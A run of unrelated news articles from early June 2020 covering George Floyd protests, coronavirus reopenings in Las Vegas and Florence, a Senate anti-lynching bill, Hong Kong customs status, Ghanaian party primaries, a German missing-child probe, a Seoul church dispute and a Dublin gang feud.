But it's not in the middle of nowhere. Casa Mami is only 10 minutes from the renowned Pappy and Harriets restaurant, and 13 minutes from Joshua Trees hippest restaurant, La Copine. This a getaway isn't too far from civilization.

Described as "part eco-vacation residence part design showroom," the stylishly curated boho-desert dwelling comes complete with all its "dreamy design pieces" intact for the new owner.

Those touches include La Cantina out-swing French doors, a Moooi Cloud Sofa by Marcel Wanders, and lounge chairs from LAUN in L.A. All just perfect for artsy Instagram shots.

The home also comes with a decent-sized plot of land2.65 acres of sprawling desert with unobstructed mountain views. The land, the house, and the furniture have been a hit on social media. Don't believe it? Check out Casa Mami and Working Holiday Studio.

Casa Mami is listed by Courtney Poulos with Acme Real Estate.

Kitchen Candida Wohlgemuth, courtesy of ACME Real Estate

Living room Candida Wohlgemuth, courtesy of ACME Real Estate

Back exterior Carlos Naude, courtesy of ACME Real Estate

The post Desert Cool: Social Media Darling Known as Casa Mami Is Listed for $475K appeared first on Real Estate News & Insights | realtor.com.
Source: Xinhua| 2020-06-06 01:10:44|Editor: huaxia

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ROME, June 5 (Xinhua) -- With tourist arrivals in Italy slowed to a trickle in the wake of the coronavirus lockdown, Dario Nardella, mayor of the Italian city Florence, has stressed that Florence, the birthplace of the Renaissance, was safe but in need of help.

Florence is known for its wealth of cultural and historical treasures, including many world-class museums, architecture and restaurants.

Nardella said Chinese aid in the form of masks, respirators and other medical equipment was an essential part of the city's efforts to limit the severity of the outbreak.

"In Florence, we are proud of our close ties to China," Nardella told Xinhua recently, "But we hope this is a starting point toward a stronger relationship."

Florence had been already popular with Chinese tourists before the coronavirus pandemic this year, Nardella said, with arrivals increasing each year for at least a decade.

He said that initiatives like the Sino-Italian Design Exchange Center -- set up to foster training in the Chinese and Italian art and design sectors, including exhibition space and entrepreneurial support -- are providing a strong foundation for even closer ties.

"We have a history and a tradition of restoration, design, art history, and fashion in Florence," Nardella said. "These are our selling points."

"The infection rate for the coronavirus is zero in Florence," Nardella said. "But economically the situation is bad. We need help. We are on our knees."

Nardella has been among the Italian officials pushing hardest for the central government to help keep city governments afloat in the wake of the coronavirus pandemic. But he said he will seek other forms of economic help.

"Once travel restrictions are loosened, I will start a tour of the world looking for private funds," Nardella said. "We want serious visitors from all countries, visitors who will appreciate the unique qualities of Florence. But it is not lost on me that China showed solidarity with Florence during the crisis." Enditem
On the day that George Floyd was remembered, U.S. Sen. Cory Booker sought to finally make lynching a federal crime in this country.

But Republican Sen. Rand Paul stood in the way, and nothing Booker or U.S. Sen. Kamala Harris said could move him.

God, if this bill passed today, what that would mean for America, Booker, D-N.J., said on the Senate floor. Let us pass this legislation today of all days. Let us give a headline tomorrow or something that will give hope to this country that we can get it right.

The Senate debate raged as the nation continued to reel from the death of Floyd, a black man, at the hands of police. A Minneapolis officer pushed his knee on Floyds neck for more than eight minutes, ignoring complaints that he could not breathe.

Coming on the heels of several other deaths of black men at the hands of law enforcement officers, Floyds death sparked protests across the country and demands for Congress to rein in police brutality.

The Senate often passes bills and resolutions through a process known as unanimous consent. But that means one senator can gum up the works and force the Senate majority leader to either schedule a debate and vote on the bill, which could take up days of discussion and amendments, or shelve the legislation for lack of time.

No one objected when the Senate by unanimous consent last year passed the anti-lynching bill sponsored by the three black senators: Booker, California Democrat Harris and South Carolina Republican Tim Scott. Paul was in Kentucky at the time.

The House passed its own version in February, naming the measure after Emmett Till, a 14-year-old Chicago boy who was abducted and murdered for allegedly looking the wrong way at a white woman while visiting Mississippi in August 1955.

That brought the bill back to the Senate, where Paul blocked action this time around.

This bill would cheapen the meaning of lynching by defining it so broadly as to include a minor bruise or abrasion, Paul said. Our nations history of racial terrorism demands more seriousness from us than that.

Booker and Harris said Paul was wrong in his reading of the bill and that every civil rights group and all of the congressional leaders lined up behind the legislation.

The idea that we would not be taking the issue of lynching seriously is an insult, an insult to Senator Booker, to Senator Tim Scott, and myself, and all of the senators past and present who had understood this is part of the great stain of Americas history, Harris immediately responded.

There is no reason for this, there is no reason other than cruel and deliberate obstruction on a day of mourning, she said. It should not require a maiming or torture for us to recognize a lynching when we see it and recognize it by federal law.

Harris also decried what she called a modern day lynching, the killing of Ahmaud Arbery, a black man, while he was jogging in Brunswick, Georgia. Three white men have been charged in his murder.

We cannot pretend that lynchings are thing of the past, she said.

Booker, a liberal Democrat, and Paul, a conservative Republican, have found common ground on criminal justice issues. Booker said that Paul was one of the first senators he shook hands with when he came to Washington.

He is my friend, Booker said. Ive had too many conversations with him to question his heart.

Still, Booker said, I do not need my colleague, the senator from Kentucky, to tell me about one lynching in this country.

One man is standing in the way of the law of changing.

According to the NAACP, 3,446 blacks were lynched from 1882 to 1968. Around 200 anti-lynching bills were introduced from 1882 to 1986, and all failed to clear Congress, according to the findings in the Senate bill.

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Jonathan D. Salant may be reached at jsalant@njadvancemedia.com.
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Linkedin (Agence France-Presse) Las Vegas, United States  Fri, June 5, 2020 22:09 595 fc6853813033f564188675f8bdc7f057 2 News Las-Vegas,travel,tourism,casino,coronavirus,COVID-19 Free

Las Vegas casinos threw open their doors Thursday after 11 weeks closed due to coronavirus, with downtown roulette wheels and slot machines whirring to life minutes after midnight.

Large crowds flocked immediately to casinos such as The D, which had flown in gamblers from across the country on hundreds of free flights to boost the occasion.

"We're fired up... You can see the smiles on everybody's faces," owner Derek Stevens told journalists. "Everybody's just excited."

On the world-famous Strip, which has been almost deserted since mid-March, casinos and resort hotels began reopening more slowly after dawn.

The Bellagio's fountains were switched back on shortly before its sprawling casino floors reopened, as dozens of curious locals and excited tourists lined up to enter at 10 am.

The reopening is a major boost for the badly-hit Las Vegas economy, which depends heavily on tourism and has seen unemployment shoot as high as 33.5 percent in April.

Inside the city's gaming rooms -- capped at half capacity -- strict restrictions were in place, with blackjack tables limited to three players in order to maintain social distancing, and fitted with plexiglass barriers between players and dealers.

Staff were instructed to ensure crowds do not gather around players at craps tables, where a maximum six can stand at once.

"Vegas is still Vegas," MGM Resorts CEO William Hornbuckle told AFP earlier.

"Over time, we'll get fully back," he added.

Read also: Wynn Resorts CEO calls for Las Vegas Strip to conditionally reopen in mid- to late May

Guidelines for the company, which operates the Bellagio, MGM Grand, New York-New York and other casinos, require every other slot machine to be switched off.

Guests are "strongly encouraged" to keep face coverings on while gambling, but drinks are once again being served on the casino floor.

At nearby Treasure Island, 29-year-old Alecia Perez had driven up from Los Angeles on Thursday morning with her partner and young child.

"We have a toddler so that's another reason we came now, we figured it'd be a little more empty," she told AFP.

"It's a different type of vacation -- we're not looking to party."

Nightclubs and giant Las Vegas shows remain closed for now. Many casinos are conducting temperature checks on entry.

"It's gonna be a little scary at first of course. I'm not going to make as much money as I usually do," said Luis Rosales, preparing for his first shift back working as a server at the Venetian hotel.

"But it's just going to take a little bit of time."

He added: "I get to go to the bars now, to go gambling. That's what we've all been missing."

As well as recovering from coronavirus, the city has been hit with tense protests over the death of George Floyd, an unarmed black man whose videotaped killing by police in Minnesota went viral and triggered demonstrations across the US.

A Las Vegas officer was in "grave condition" after being shot during protests earlier this week, and an armed Hispanic man was shot and killed by police after raising his gun in a separate, nearby incident.

Three far-right extremists were arrested and charged by anti-terror officials for inciting violence.
The members of Sarang Jeil Church in Seoul gathered at the church to worship every Sunday amid the coronavirus pandemic. / Korea Times file



Seoul Mayor Park Won-soon playing hardball with Protestant church



By Kang Hyun-kyung



"Do not tie your shoes if you are in someone else's cucumber field."



This old Korean saying advises people not to do a certain thing if it makes others suspicious of your motives.



Seoul Mayor Park Won-soon is making the same mistake in Seoul City's crackdown on Sarang Jeil Church for the latter's defiance of an urban renewal plan set to uproot the neighborhood of Jangwi-dong in northeastern Seoul. Park's playing hardball with the Protestant church and its leaders has left room for different interpretation other than the implementation of the law.



His actions can be seen as politically-motivated religious oppression.



What he did to the church seems to be suicidal.



The members of Sarang Jeil Church began an overnight rally on Thursday night. Hundreds of members gathered at the church. Some were outside the church, holding banners that they are against Seoul City's push to destroy the church against their will.



On Friday morning, Seoul City sent hundreds of workers and police, announcing it would implement the plan to destroy the church as part of the urban renewal plan.



The church members were defiant. Feeling pressure over a possible clash with the crowd, the city government altered its plan and said the workers would come back next time to destroy the church.



Under the redevelopment plan, housing for 2,000 households will be created. The plan was confirmed in 2006.



But the two sides  the city government and the church  failed to narrow their differences on compensation for the church building. Seoul City offered 820 million won, but the church demands compensation seven times higher.



The city took the case to court. In a ruling last month, the Seoul district court sided with the city. Seoul City is in a position to demand the church members vacate the site, so the city authorities can push for the renewal plan as scheduled. If the church leadership is not cooperative, Seoul City can push for it and destroy the church.



So, technically, what Seoul City did on Friday is not against the law.





Seoul Mayor Park Won-soon / Korea Times file
STORY LINK GBP to CAD Exchange Rate Holds Ground despite Revives Brexit Fear

GBP Exchange Rates Resilient despite Lack of Brexit Progress

I think the market thinks theres still a better than 50% chance that well muddle through again.

Progress remains limited but our talks have been positive in tone,



Negotiations will continue and we remain committed to a successful outcome.

CAD Exchange Rates Benefitting from Risk-On and Oil Price Rebound

GBP/CAD Exchange Rate Forecast: Brexit and Oil Prices Remain the Focus

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Despite stronger demand for risk-correlated currencies and some strong Canadian data at the end of the week, the British Pound to Canadian Dollar (GBP/CAD) exchange rate has ended the week on a fairly resilient note. Investors are buying the Pound despite Britains gloomy economic outlook and returning Brexit fears. However, looking ahead there is much uncertainty in the outlooks for both currencies as the coronavirus pandemic continues to develop.Since opening this week at the level of 1.7000, GBP/CAD has been fluctuating within the region of just over a cent. It has been trending between lows of 1.6881 and highs of 1.7070. It has been the steadiest week for the pair in some time, and has been due to mixed demand for both currencies.At the time of writing on Friday, GBP/CAD is trending just above the weeks opening levels. The Pounds resilience is helping it to avoid losses, despite Brexit fears returning.Despite a lack of optimistic news for the Britains economy or the Pound this week, the Pound has seen surprisingly resilient performance overall.Sterling continued to hold its ground on Friday afternoon before markets closed for the week. This was due to a few noteworthy factors slightly distracting from the overall gloomy outlook.For example, while there has been no notable progress in UK-EU Brexit negotiations in recent months, hopes for the UK to somehow scrape by and achieve a more optimistic Brexit outcome are keeping investors from becoming too gloomy.According to Kit Juckes, Analyst at Societe Generale:On top of this, the latest round of Brexit talks concluded with what was perceived as a lack of the usual vitriol towards divisions. This has also boosted hopes for relations to improve.According to Britains Chief Negotiator, David Frost:While Sterling also benefitted from weakness in the US Dollar (USD), the US currency strengthened before markets closed which limited Pound appeal.While the Pound saw a late-week boost in demand, investor appetite for the Canadian Dollar also improved before markets closed for the week due to a number of factors.The Canadian Dollar has seen mixed demand lately due to volatility in oil prices, as well as market hesitance to buy currencies correlated with risk or trade.However, today has seen a rise in risk-on movement. This has only been further bolstered by a rebound in oil prices seen in recent sessions.Oil prices have been gaining again since OPEC+ appeared ready to extend its planned production cuts. As oil is Canadas biggest export, the news supported the oil-correlated Canadian Dollar.On top of further oil price recovery though, the Canadian Dollar was also bolstered by a stronger than expected Canadian job market report, published today.With the coronavirus pandemic gathering pace in May, many analysts expected Canadas unemployment rate to worsen much further last month. Forecasters predicted the unemployment rate would jump from 13% to 15%, but instead it only rose to 13.7%.Perhaps even more relieving was the reported rise in new jobs. Around 500k jobs were expected to be lost in May, but instead over 289k jobs were made. These figures and the slightly stronger risk-on movement kept the Canadian Dollar buoyed before markets closed.As June goes on, investors are likely to become increasingly anxious about the state of the Brexit process. With no progress in UK-EU negotiations, markets will be focused on whether or not there are any signs that the transition period can still be delayed.If the transition period is not extended before the end of June, it is expected that it will end at the end of 2020 regardless of whether or not a post-Brexit deal has been reached. Amid the glacial pace of negotiations, fears of a cliff-edge conclusion to the Brexit process persist.Essentially, the Pounds appeal will depend more and more on Brexit developments as the month continues. Brexit jitters may even take focus over next Fridays key UK data, which includes trade and growth stats from April  the first full month of coronavirus quarantine.As for the Canadian Dollar, next weeks Canadian economic calendar will be relatively quiet. Canadian Dollar investors will be focused on strength in rival currencies, risk-sentiment, and especially oil prices.There is speculation that the oil price rebound may not last much longer. If oil prices do indeed fall again, this would make it easier for the Pound to Canadian Dollar exchange rate to advance.

International Money Transfer? Ask our resident FX expert a money transfer question or try John's new, free, no-obligation personal service! ,where he helps every step of the way, ensuring you get the best exchange rates on your currency requirements.

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CLEVELAND HEIGHTS, Ohio -- Hundreds of marchers banded with city officials and police in The Protest For Peace around Severance Circle Wednesday (June 3).

They called for an end to the violence against black people at the hands of law enforcement officers, who most recently caused the death of George Floyd in Minneapolis on Memorial Day and sparked unrest across the country.

And as co-organizer and Cleveland Heights resident Avery Pope surmised afterward, The work starts now.

When city officials learned of the plans for a peaceful protest, they reached out to Pope and fellow organizer Tyler Thompson, both college students and Lutheran East High School alumni, to ensure a successful and meaningful demonstration.

In fact, Police Chief Annette Mecklenburg and City Manager Tanisha Briley offered to join them on the march. The two had issued a joint statement on Saturday (May 30) as rioting flared up during protests in downtown Cleveland.

And while Cleveland Heights trains its officers in bias-free policing and holds them to a strict use-of-force policy, Briley and Mecklenburg acknowledged in the statement and at the peace rally that no community is immune to the racially charged episodes witnessed most recently in Minneapolis, Louisville, Ky., Glynn County, Ga., and elsewhere.

"Today, we saw the spirit of #ClevelandHeights in action as residents and friends gathered at City Hall in a peaceful protest," officials noted afterward on the city's Facebook page.

"The Cleveland Heights Police Department, along with our city leadership, would like to thank the demonstrators for their peaceful protest and for speaking out for the betterment of our community and beyond," the post continued.

Hundreds in attendance at the June 3 Cleveland Heights Protest for Peace took a knee in silence for 8 minutes and 42 seconds outside of City Hall.Roger Glenn Hill

Arriving at City Hall at the end of the march that included chants of I Cant Breathe, protesters, along with some city officials and police, knelt in silence for 8 minutes and 46 seconds -- the amount of time that a Minneapolis police officer had his knee on George Floyds neck, calmly choking the life out of him.

The CHPD prides itself on our community outreach, transparency and communications, the citys Facebook page entry added. We are pleased to have started an important dialogue today. Police relations in our community remain a priority for us, and we are always open to constructive suggestions on how we can continue to improve.

Some concerns have been voiced recently over a Feb. 27 incident at Marcs grocery store in Coventry Village, in which a reportedly uncooperative black man was restrained and detained over his resemblance to a suspect in a shots fired call at a gas station the night before.

"We are demanding answers for excessive force use in training methods and change in de-escalation tactics in order to ensure that overt violence and aggression to detain 'suspects' are not used," a flyer circulated before the Protest for Peace stated.

Mecklenburg had already initiated discussions with City Council on any potential room for improvement in police policy.

Police relations in our community is a priority for us, and we are always open to constructive suggestions on how we can continue to improve, city officials stated. Through mandatory training on diversity and inclusion and proper use of force, we strive to always demonstrate fair treatment.

For Pope, now a senior at Ohio University, and Thompson, a senior at Wilberforce University set to graduate in December -- both members of the Alpha Phi Alpha fraternity -- silence is simply not an option.

The organizers of the June 3 Protest for Peace and march outside Cleveland City Hall, Lutheran East High School alumni Avery Pope, left, a senior at Ohio University and Tyler Thompson, a senior at Wilberforce University, arrived with a lot of masks and water for the hundreds who turned out.Roger Glenn Hill

Silence wont be an option ever again, Pope stated. The people showed up, showed out, and were not silent.

Town hall meetings are being set up as we speak, and dialogue with officers following the very peaceful protest was healthy, Pope added. "Thank you, Cleveland Heights, and anyone from any other community who took part.

Briley concurred on the potential of a town hall meeting, although the current coronavirus pandemic could result in a virtual approach, online or otherwise, with those plans still being discussed.

"We hear the message of the protesters and support their right to free speech and the right to assemble," city officials added on Facebook. "We thank them for sharing their voices in a peaceful and productive manner."

Read more from the Sun Press.
Prosecutors in Stendal start probe after German convicted sex-offender was linked to the British girls disappearance.

German prosecutors have said they are investigating a possible link between the Madeleine McCann case and that of Inga, a German girl who went missing in the region five years ago.

Inga, a girl from Schoenebeck, a town in Germanys northeastern state of Saxony-Anhalt, was five years old when she disappeared without trace while on a family trip to a forest near the town of Stendal on May 2, 2015.

Despite a thorough search and investigation, police were unable to determine what became of the girl.

Prosecutors in Stendal said on Friday they were investigating a possible link between the case and that of the disappearance of the then three-year-old British girl Madeleine McCann from a holiday villa in Portugal in 2007.

Investigations are in the early stages, with prosecutors saying they would check whether there were any indications of a connection between the disappearances. No further details were given.





German prosecutors said on Thursday that they assume McCann is dead.

The prosecutors office in the northern German city of Braunschweig said it was investigating a 43-year-old German man who has been convicted of multiple sexual offences as a murder suspect in the case.

German law enforcement have yet to explain what led them to conclude the man was involved in Madeleines disappearance or why they believe she is dead.

Police said the suspect, whom they have not named, is currently serving a lengthy prison sentence for another crime.

He is being held in the far northern German city of Kiel, DPA news agency has learned.
The High Commissioner for Human Rights focuses on 12 countries, including the Philippines, Myanmar, China, India, Thailand and Nepal. The situation in Vietnam, where 600 people have been targeted for their social media postings, is worrisome. An independent publishing house in Ho Chi Minh City wins the 2020 Prix Voltaire.

Ho Chi Minh City (AsiaNews/Agencies)  The United Nations is concerned that the emergency triggered by the novel coronavirus pandemic is being used by many Asia-Pacific governments, be they liberal democracies or dictatorial regimes, as a pretext to limit freedom of expression and citizens' rights.

Michelle Bachelet UN High Commissioner for Human Rights (UNHCHR) warns that in the age of COVID-19, at least 12 countries in the region have curbed the public debate in the name of the fight against fake news.

Arrests for expressing discontent or allegedly spreading false information through the press and social media, have been reported in Bangladesh, Cambodia, China, India, Indonesia, Malaysia, Myanmar, Nepal, the Philippines, Sri Lanka, Thailand and Vietnam, the High Commissioners office said.

In many countries, laws on alleged fake news raise human rights concerns and have been used in other contexts to deter legitimate speech, especially public debate (and) criticism of government policy, it added.

While Governments may have a legitimate interest in controlling the spread of misinformation in a volatile and sensitive context, this must be proportionate and protect freedom of expression," Bachelet said.

At a time of great uncertainty, medical professionals, journalists, human rights defenders and the general public must be allowed to express opinions on vitally important topics of public interest, such as the provision of health care and the handling of the health and socio-economic crisis, she added.

The High Commissioners office noted that in Vietnam, more than 600 Facebook users were summoned by police for questioning over their online posts about COVID-19 since the start of the epidemic in that country.

In most cases, the Facebook users were handed administrative sanctions, and ordered to delete their posts, but at least two received criminal sentences that included up to nine months of detention and fines exceeding US$ 1,000.

Vietnam has been monitored by UNHCHR for a while over its media restrictions and criminal convictions against people and groups fighting for rights and free thought.

This crisis should not be used to restrict dissent or the free flow of information and debate. A diversity of viewpoints will foster greater understanding of the challenges we face and help us better overcome them, said the High Commissioner.

The UN warning about respect for rights in the Asian country comes at the same time when a Vietnamese publishing received a prestigious prize. The Liberal Publishing House (LPH), the country's only independent publisher, won the 2020 Prix Voltaire awarded by the Switzerland-based International Publisher Association (IPA).

In operation since February 2019, the Ho Chi Minh city-based LPH has challenged government control of publishing, delivering works of local dissident writers. Often it has had to operate underground with the risk of penalties of up to 20 years.
LOS ANGELES - California cities and counties cautiously lifted curfews after days of sporadic mayhem were replaced by peaceful protests and pledges by lawmakers to fight inequality.

Marches and rallies Thursday in Los Angeles, San Francisco and elsewhere were marked by Black Lives Matter signs and calls for change. The tone was passionate but less confrontational. There were sit-ins, kneel-ins and moments of silence.

After watching several days of gatherings, Natalie Illescas, 18, of the neighbourhood of East Los Angeles, came out for a rally at LA City Hall. Coming from a Latino home, Illescas said she regularly experiences racism as a minority.

Our skins are different colours, but we all bleed the same, she said.

Billy Black, a 25-year-old African American who joined the crowd in the hot sun, said the recent calm of the protests helped lure him out to lend his voice after being concerned over the weekend by TV images of marchers clashing with police in riot gear, police cruisers set ablaze and stores ransacked in broad daylight.

I didnt like knowing that people were outside taking a stand for something I believe in, while I was in air-conditioned comfort, Black said.

Curfews were imposed for several days in many cities  some as early as 1 p.m.  after a weekend of unrest and looting  blamed mostly on non-protesters. Cities were criticized for taking the rare step to force residents to stay home and then use the order to arrest thousands of peaceful protesters who stayed out past curfew.

Although National Guard troops remained on guard in larger communities, curfews were lifted in Los Angeles, San Francisco, San Jose, Berkeley, Oakland and several Bay Area counties.

Im a little scared about that, Los Angeles Mayor Eric Garcetti said about ending the five-night order. But sometimes fear is what youve got to do.

A curfew remained in force for a fourth night in the capitol city of Sacramento. The American Civil Liberties Union of Northern California urged the mayor and City Council to revise or rescind it, saying it suppressed protected political speech.

Passionate protesters continued to call for racial justice Thursday in symbolic acts of remembrance for Floyd on the day of his funeral in Minnesota.

Dozens of demonstrators laid on the ground outside the police headquarters of the city of South San Francisco with their hands behind their backs and chanted I cant breathe, the dying words of Floyd, a black man whose neck was pinned to the ground by the knee of a white police officer now charged with murder.

In the middle of a California Senate hearing, lawmakers paused to observe 8 minutes and 46 seconds of silence to mark the amount of time Floyd was restrained.

Protesters have called for prosecuting police brutality and, in the case of LA, even defunding the police department. Garcetti reversed course Wednesday on plans to boost police funding and outlined a plan to shift $250 million in the city budget to address what he called structural black racism and related issues, including funds for youth employment, health care and housing.

Your tax dollars should go towards erasing trauma, not causing it, Garcetti said at the First African Methodist Episcopal Church.

San Francisco Mayor London Breed tweeted Thursday night that in the upcoming city budget, she and Supervisor Shamann Walton would lead an effort to redirect some Police Department funding to African American community projects in the upcoming budget.

Decades of disinvestment and racially disparate policies have disproportionately hurt that community, she said.

Police have been injured in the protests, including a Los Angeles officer who was hospitalized after his skull was fractured with a brick, and others pelted with rocks and bottles. But protesters and activists have complained of being roughed up by police wielding batons, firing tear gas and shooting rubber bullets.

A group of state lawmakers on Thursday said they would introduce legislation for when such ammunition could be used.

Breaking a city-imposed curfew is not a sufficient basis for use of rubber bullets, said Assemblywoman Lorena Gonzalez, D-San Diego. Crowd control where there is no rioting is not proper grounds to use rubber bullets.

In San Jose, hundreds of complaints about police behaviour have been made in recent days. On Thursday, police defended their use of force against those they described as violent agitators.

When my boots hit the ground ... I stepped into a war zone, Capt. Jason Dwyer said.

Police Chief Eddie Garcia said officers saved lives and property and ensured that peaceful demonstrations could continue.

Your officers stood there and absorbed the collective rage of generations, he said.

___

Associated Press journalists Michael R. Blood in Los Angeles, Cuneyt Dil in Sacramento, and Olga Rodriguez in San Francisco contributed to this report.
John Boadu

05.06.2020 LISTEN

The National Executive Committee (NEC) of the New Patriotic Party (NPP) has given the green light to some disqualified aspirants to contest its parliamentary primaries slated for June 20.

Most of the candidates in Greater Accra, Western North and Ashanti regions seeking to contest their incumbent Members of Parliament were disqualified by the regional vetting committees.

But NEC, after listening to their appeals, declared them eligible to contest in the elections.

However, some of the decisions taken by the vetting committees were also upheld.

Below is the full list:

Greater Accra Region

NEC upheld the recommendations of the Vetting Committee in respect of all the aspiring candidates. The decision by the appeals committee to clear the opponent of Moses Anim in Trobu, Edward Addo, who was initially disqualified by the vetting committee was thus reversed

Western North

NEC reversed the decision of the Appeals Committee to disqualify former BOST CEO, Alfred Obeng in the Bibiani Constituency. He has therefore been reinstated as per the verdict of the vetting committee that initially cleared him

Western Region

NEC upheld all the decisions of the Vetting Committee

Northern Region

NEC approved the decision of the vetting committee to disqualify Emmanuel Kutin, the Security Analyst in the Saboba Constituency, but reversed the decision to disqualify Osman Mahama in the Saboba Constituency. So the Deputy Tourism Minister, Iddi Ziblim, will not go unopposed.

Ahafo Region

NEC upheld the decisions of the vetting committee for all the candidates

Central Region

All the decisions of the Vetting Committee upheld, except that in respect of Evans Coleman of Agona West. So the gender minister will be contested by one other person, and not two.

Bono Region

All decisions of the vetting committee upheld. The opponent of the health Minister disqualified in the Dormaa Central

EASTERN REGION

All the decisions of the vetting committee upheld by NEC

ASHANTI REGION

Samuel Binfo was cleared by NEC to contest in the Adansi Asokwa Constituency again KT Hammond

Kofi Nkansah Ofosu was cleared by NEC to contest in the Asante Akyem Central

Francis Kwabena Owusu Akya was disqualified in the Juabeng Contest. That is, decision of Appeals Committee upheld

Bekwai  Lawyer Amofa Agyemang was disqualified by NEC.

Asante Akyem North  Kwadwo Baah Agyemang cleared by NEC

Odotobiri  Lawyer Anthony Mmieh cleared by NEC, thus reversing appeals committee decision

Subin  JB Danquah cleared by NEC

Manso Nkwanta- Hon Grace Addo, the former MP disqualified by NEC

Kwadaso  Hilda Addo disqualified by NEC

---Daily Guide
Beijing firmly supports HKSAR's status as a separate customs territory

Global Times

Source:Global Times Published: 2020/6/4 16:33:41

Beijing strongly supports Hong Kong special administrative region's status as a separate customs territory, and any unilateral measures against the Chinese city using US domestic law, conform neither to WTO rules nor the interests of the US, said the Ministry of Commerce (MOFCOM) on Thursday.

Analysts said that the US has a greater interest in maintaining the SAR as a separate customs territory. Hong Kong is one of the few regions with which the US runs a trade surplus.

US goods and services trade with Hong Kong totaled an estimated $66.9 billion in 2018, and the trade surplus with Hong Kong was $33.4 billion, according to data from the Office of the US Trade Representative.

MOFCOM hit back at the US government's threat to strip Hong Kong's special customs status, saying the legal basis for Hong Kong's status as a separate customs territory from China's Chinese mainland is derived from a WTO agreement, and is recognized by all WTO members and confirmed by the Basic Law of the Hong Kong Special Administrative Region of the People's Republic of China, the ministry said.

US president Donald Trump said his administration "will take action to revoke Hong Kong's preferential treatment as a separate customs and travel territory" from the rest of China on May 29, during a press conference at the White House.

"Such statements from the US are not surprising. Last year's chaos in Hong Kong was apparently fermented by the US behind the scenes, which was a series of efforts to combat China's rise, including buck-passing on China since the outbreak of the COVID-19 epidemic this year," Tian Yun, vice director of the Beijing Economic Operation Association, told the Global Times on Thursday.

Tian added that Washington has aspired to muddy the waters of Hong Kong so as to move away international concerns about US' current domestic racial strife, caused by the brutal death of black man George Floyd.

"China will unswervingly implement the 'one country, two systems' policy, oppose external interference in Hong Kong affairs, and firmly support Hong Kong in maintaining its status as a separate customs territory and in consolidating and elevating its status as an international financial, trade and shipping center," said MOFCOM spokesperson Gao Feng.

Gao added that the national security legislation for Hong Kong SAR will not affect Hong Kong's autonomy and its residents shall continue to enjoy their rights and freedoms. The law does not damage the legitimate interests of foreign investors in Hong Kong.

"The law will be conducive to maintaining Hong Kong's business and investment environment, and to maintaining long-term prosperity and stability in Hong Kong," Gao said.

Tian also said that Hong Kong's position as an international financial, trade and shipping center will not be shaken in the short term.

"Hong Kong is backed by the market of the world's second-largest economy. For all the money and companies that want to enter the Chinese mainland, Hong Kong remains the best springboard. The central government's support for Hong Kong will never change," Tian noted.



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Abimbola George, a protester who was injured near the White House last weekend, says he doesn't expect the demonstrators protesting the death of George Floyd and police brutality to "slow down, stop or leave" anytime soon.

George, an educator in Washington, D.C., sustained a head injury on May 30, when he says a police officer "cracked my head open with a metal pole." Images of him following the attack, taken by The Associated Press, were subsequently shared on social media, where they went viral.

On that day, he says the protests had been peaceful until authorities, who were "just bouncing around, waiting for instruction to go," began advancing on them.

"It's hard to just own it until you see it, but being that we had a gate in front of us, the police came to the gate, and then they eventually came over the gate ... then start pushing people," he told "Nightline" co-anchor Byron Pitts. "You know, we can only do so much ... and to try and be there in a peaceful manner, and we don't have the weapons they have, but they're still coming closer and they're knocking people down."

MORE: Trump praises 'overwhelming force' and 'domination' in DC morning after peaceful protest broken up for photo op

Two days later, following a White House address by President Donald Trump, authorities forcefully dispersed a crowd of peaceful protesters in Lafayette Park with flash-bangs and what they described as tear gas to make way for the president to walk to St. John's Episcopal Church for a photo op.

George said these actions "sustain" a cycle of anger between protesters and those who support the use of force to control the protests. He also believes the president is fostering a belief that if you go out and protest you are going to get hurt.

The White House has denied authorities used tear gas on protesters, and in a statement, U.S. Park Police also said authorities hadn't used tear gas, but rather that "smoke canisters" and "pepper balls" had been deployed.

Story continues

PHOTO: Abimbola George bleeds from an injury that he sustained near the White House during a demonstration over the the death of George Floyd, May 30, 2020, in Washington. (Evan Vucci/AP)

George thinks the demonstrations have bothered people because "folks are so into being in control."

"As American citizens ... we pride ourselves on being free ... and right now we're actually exercising what that freedom is," he said. "I can see how that scares the powers that be, but I don't think they should be scared. I think we should come to the table and just say, 'We want the same rights as you.'"

MORE: Trump calls tear gas reports 'fake news,' but protesters' eyes burned just the same

George said he's been protesting for different causes for over a decade. This time, he said, it's different. He's seen a lot of people "who haven't spoken up before, speak now."

"I think we've put the premise out there that if you're not speaking, that's your decision," he said. "That means you do not support what's going on."

"I think for a long time, people had been joining protests from their couch. ... Even though, to some, this moment might not really make sense, but to those who care about police brutality, this moment was coming and this moment has always been there," he added. "We're just adding people to the conversation."

PHOTO: Abimbola George, an educator in Washington, D.C., was injured May 30 during a protest near the White House. (ABC News )

On Wednesday, charges against Derek Chauvin, the former Minneapolis police officer who knelt on George Floyd's neck, were upgraded to second-degree murder and manslaughter. The other three officers who were involved in his death were also arrested and charged with aiding and abetting.

George said charges were to be expected: "We're glad that these charges happened, but you can see our frustration in saying that we don't think they're severe enough."

MORE: 3 former officers charged in George Floyd's death make 1st court appearance

He said the protests must now evolve so that those attending can take on more defined roles. His role, he said, has been to educate those who show up.

"A lot of the things I see live are people kind of standing around waiting for instruction, and it doesn't always have to be someone yelling and chanting," he said. "It can literally be people getting to know each other -- us using this as a classroom on the street -- and I really think if we start thinking about this a little bigger ... people, in general, will see protesters not as looters or rioters, but as people, as thinkers ... who really want to exercise their First Amendment rights."

DC protester seen injured in viral photos: 'We want the same rights as you' originally appeared on abcnews.go.com
A number of one-time close pals in the Hutch gang have turned on each other - leading to death threats, chaotic scenes and GIM forms being issued.

Armed gardai are monitoring a tense situation in the north inner city which indicates that the Hutch mob is in turmoil.

At the centre of the simmering tensions is Nathan Coakley Hutch (26) - a violent criminal who is a nephew of exiled leader Gerry 'The Monk' Hutch.

A 23-year-old career criminal from the St Mary's Mansions area of the north inner city who previously had close links to Coakley Hutch has been issued a GIM form by detectives after getting into a row with his associates, the Herald can reveal.

He has close links to Ciaran O'Driscoll (25), of Avondale House, Cumberland Street, who last week admitted in the Special Criminal Court that he agreed to act as a lookout and help the Kinahan cartel's plan to murder The Monk's brother Patrick 'Patsy' Hutch in 2018.

Sources say this is one of the reasons why the 23-year-old has been offered official security advice by gardai.

A GIM form is an official garda document warning a person that their life is under threat.

Turncoats

"It seems that Nathan's crew are blaming him for being one of the 'turncoats' who have been spying on them in the north inner city on behalf of the Kinahan cartel," a senior source said.

Other sources revealed that it was Coakley Hutch who "first instigated" a bizarre car chase on Sheriff Street last Thursday when he drove at two former north inner associates who he would have grown up with.

In the other car were a 34-year-old criminal previously involved in the largest bank robbery in the State's history and a 40-year-old gangster who has survived at least two previous gun attempts on his life.

